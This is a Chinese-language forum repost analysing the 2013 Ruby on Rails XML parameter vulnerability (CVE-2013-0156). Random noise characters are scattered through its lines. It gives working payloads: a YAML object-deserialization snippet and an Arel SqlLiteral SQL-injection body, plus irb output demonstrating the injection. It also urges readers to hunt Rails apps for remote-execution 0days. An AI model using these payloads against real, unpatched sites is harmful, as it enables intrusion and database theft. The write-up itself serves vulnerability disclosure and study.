Author: wofeiwo#80sec.com
$ v7 j) c1 g1 Y" A- M; Q7 q- ]2 n- D" d( [1 o
注意，本文基本是这篇文章的中文版本，由于我水平有限，因此如果大家看的不是很明白，建议去原文查看。 8 z/ x$ p: A8 S6 B$ O; C5 y$ Y
* \, {% W: i0 a7 C! E1 ^" J近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. % q) \! o# U8 n3 d8 K3 M
" q! d9 ^3 J+ x8 L. Y7 z9 r
CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. & j! U" B/ |- {& G% A
2 G0 A5 l d" W# q, p为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 8 n1 l/ k5 ^- J
* m# M. ]$ |; q% y3 m/ i<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为:
) I. Z1 E7 |6 i s2 V `
" M ]/ @5 ?3 c3 V: `. L) B"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. : z- V5 c& Q' J! {9 Q1 D! e
1 X1 m' h' ~; ^) H) o
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么? / S) z- Y a. |0 {
# X+ \7 _( Z+ B然后我们测试下，就会发现，由于框架中对参数进行 data.with_indifferent_access 的操作（会把key全变成string），我们还是无法通过xml去将Key变成Symbol类型。所以，也无法利用此漏洞去利用CVE-2012-6496。
( b, G+ V' v, \8 Z
: R, M$ c1 a7 k7 Z但是等等，还有另一个参数类型，yaml。 8 X( N4 A9 k7 _" s, @5 X
& Q5 c7 d6 j3 S7 L2 @# ~/ m
yaml强大的地方在于，利用yaml语言，你可以让Rails生成各种类型的数据结构，例如，Object。 ! N& \8 ^9 [) m( `
: w# Q$ c7 W' P
<test type="yaml">--- !ruby/object:A& U; E8 }1 J+ G" \* \
aaa: bbb </test>这基本类似于一个变量反序列化的过程，实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中，有将此Object的aaa属性带入eval/exec/system等关键语句中，就可以执行一些被污染的代码。
: r4 `6 N! X: n( h) |0 ?8 `- K4 W7 \4 A7 U
如果你熟悉rails的代码，或者其他开源rails的webapp，现在就可以找起来了。或许一个远程执行0day就此诞生。 , @: F/ E( Y! T0 g; s7 Z& x
6 S5 t- l4 A) M; c+ B
如果你不熟悉ror，那么也没问题，实际上还有个利用方式，可以直接进行sql注入。
3 B j4 l6 x! L/ p" N' A5 x$ x8 V( O& j
一般在RoR中都是使用model.find_by_*的方式进行数据库查询（ActiveRecord模式）
. a" w7 C8 {4 Z% Z( O
0 O6 N8 @$ \$ D; e5 w. D Kmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量，使其成为可以注入的内容：
. D/ a9 m" m5 u% i9 d) Q
5 a9 ], X0 U/ x<id type=yaml>--- !str:Arel::Nodes::SqlLiteral, P1 u- Y; b" T4 H8 O
1 and 1=2 </id>利用如上代码，通过SqlLiteral对象，即可进行sql注入。 , ~; E! } [9 O3 w
4 p" ?; r/ V# ?1 ^+ \: g
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助，没有他的解释和测试，我是无法理解RoR及本漏洞的。
, k/ R" B/ x9 S2 E7 h. P
5 A* x& g& n ~ |
发表于 2013-1-11 21:16:27
收藏
支持
反对